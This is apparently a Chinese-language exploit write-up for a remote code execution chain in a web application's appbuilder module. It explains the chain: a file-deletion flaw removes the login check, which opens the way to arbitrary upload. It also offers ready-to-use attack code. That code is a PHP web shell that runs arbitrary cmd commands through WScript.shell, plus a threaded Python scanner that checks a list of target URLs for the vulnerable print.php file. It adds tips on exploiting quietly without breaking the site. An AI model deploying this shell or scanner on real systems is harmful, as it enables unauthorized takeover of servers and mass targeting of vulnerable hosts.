漏洞環境下載:http://www.kxdw.com/soft/23114.html
漏洞EXP:https://github.com/TomAPU/poc_and_exp/blob/master/rce.py
漏洞POC:見文末(其實也簡單就是驗證/module/appbuilder/assets/print.php 此文件存不存在。)
漏洞EXP利用原理
根據exp構造了上傳文件名和內容 {‘FILE1’: (‘hack.php’, payload)}
同時利用file_exists函數的漏洞構造/.<>./.<>./.<>./ 逃逸出來
也就是說在這里構造訪問上傳后
file_exists判斷存在將文件加_拼接目錄移動到根目錄下並刪除原文件
總體的根據exp分析 首先存在了任意文件刪除漏洞
然后刪除登陸校驗文件,進而導致任意文件上傳漏洞
組合之后也就是現在的rce漏洞
利用漏洞不要直接打EXP會導致網站出現問題。(會成為這個樣子=。=)
EXP直接在代碼里修改target和payload就好。上傳的文件名也可在代碼中修改。
payload的一些馬可能無法執行命令,此馬可順利執行命令。
<?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
POC:
存在/module/appbuilder/assets/print.php此文件(會出現如下界面。也會跳轉url)
POC代碼,只需要驗證文件是否存在就好,是否返回狀態碼是200。
#!/usr/bin/enc python # _*_ coding: utf-8 _*_ import requests import os import sys import threading from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) file = str(sys.argv[1]) write = sys.argv[2] duwenjian = open(file , 'r' , encoding='UTF-8') xiewenjian = open(write , 'w') ff = duwenjian.readlines() def webhttp(): for line in ff: try: line = line.rstrip("\n") payload = "/module/appbuilder/assets/print.php" url = line + payload qingqiu = requests.get(url, verify=False, timeout=1) zhuangtai = qingqiu.status_code if zhuangtai == 200 : print(url) xiewenjian.write(url) xiewenjian.write('\n') else : pass except OSError: pass def main(): f = threading.Thread(target=webhttp) f.start() f.join() duwenjian.close() xiewenjian.close() if __name__=="__main__": main()